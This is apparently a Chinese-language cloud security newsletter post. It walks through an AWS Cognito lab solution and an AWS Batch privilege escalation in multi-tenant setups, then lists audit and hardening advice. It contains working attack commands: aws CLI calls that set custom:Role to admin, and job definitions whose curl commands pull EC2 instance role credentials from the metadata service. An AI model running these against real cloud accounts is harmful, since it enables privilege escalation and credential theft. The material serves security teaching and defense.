从上一期说起…您解决CloudSecTidbit第2期的IaC实验了吗?
[解决方案]
AWS Cognito挑战的核心是通过权限提升获取管理员权限并读取内部用户列表。应用程序使用AWS Cognito颁发的会话令牌(保存为名为aws-cognito-app-access-token
的cookie),攻击者可以通过以下步骤实现提权:
1
2
|
aws cognito-idp get-user --region us-east-1 --access-token <USER_ACCESS_TOKEN>
aws --region us-east-1 cognito-idp update-user-attributes --user-attributes "Name=custom:Role,Value=admin" --access-token <USER_ACCESS_TOKEN>
|
漏洞根源在于平台过度信任custom:Role
属性进行授权判断。
技术聚焦:AWS Batch权限提升研究
AWS Batch基础架构
AWS Batch是AWS提供的批处理计算服务,主要组件包括:
- Jobs:工作单元(脚本/可执行文件/容器镜像)
- Job definitions:任务蓝图(含IAM角色、资源需求等配置)
- Job Queues:任务调度队列
- Compute environments:计算资源环境(支持Fargate/EC2/EKS三种编排类型)
漏洞场景分析
在多租户平台中发现高危配置:
- 所有租户任务均使用EC2编排类型运行
- 计算环境EC2实例需要高权限角色管理EFS等资源
- 任务容器具有
batch:RegisterJobDefinition
和batch:SubmitJob
权限
攻击链分解
- 初始访问:通过容器元数据服务(CMDS@169.254.170.2)获取任务执行角色凭证
- 权限滥用:利用获得的凭证创建恶意任务定义
- 网络配置突破:由于EC2环境默认使用主机网络模式,容器可访问实例元数据服务(IMDSv2)
- 凭证窃取:通过IMDS获取EC2实例的高权限角色凭证
技术验证过程
步骤1 - 获取实例角色名:
1
2
3
4
5
6
7
|
aws batch register-job-definition \
--job-definition-name poc-get-rolename \
--type container \
--container-properties '{
"image": "curlimages/curl",
"command": ["sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-data/iam/security-credentials/"]
}'
|
步骤2 - 获取角色凭证:
1
2
3
4
5
6
7
|
aws batch register-job-definition \
--job-definition-name poc-get-aimcreds \
--type container \
--container-properties '{
"image": "curlimages/curl",
"command": ["sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"]
}'
|
安全建议
审计人员检查清单:
- 确认任务执行上下文是否限制IMDS访问
- 审查EC2编排环境中的实例角色权限
- 检查是否过度分配
RegisterJobDefinition/SubmitJob
权限
开发者防护措施:
- 网络层限制IMDS访问(通过
aws ec2 modify-instance-metadata-options
)
- 遵循最小权限原则配置任务角色
- 考虑使用Fargate替代EC2编排类型
实践资源
漏洞复现环境已开源:CloudSecTidbits实验室
延伸阅读